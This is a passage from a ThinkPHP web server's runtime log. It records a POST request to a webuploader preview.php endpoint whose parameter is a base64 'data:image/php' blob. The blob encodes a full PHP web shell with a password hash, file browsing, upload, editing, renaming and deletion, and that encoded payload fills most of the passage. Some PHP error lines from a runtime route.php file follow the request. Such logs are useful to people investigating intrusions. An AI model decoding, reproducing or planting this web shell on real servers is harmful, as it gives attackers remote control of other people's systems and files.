4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:08:05+08:00 ] 119.42.146.234 POST 59.110.137.245/lib/webuploader/0.1.15/server/preview.php [运行时间:0.002303s] [吞吐率:434.19req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'lib', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRm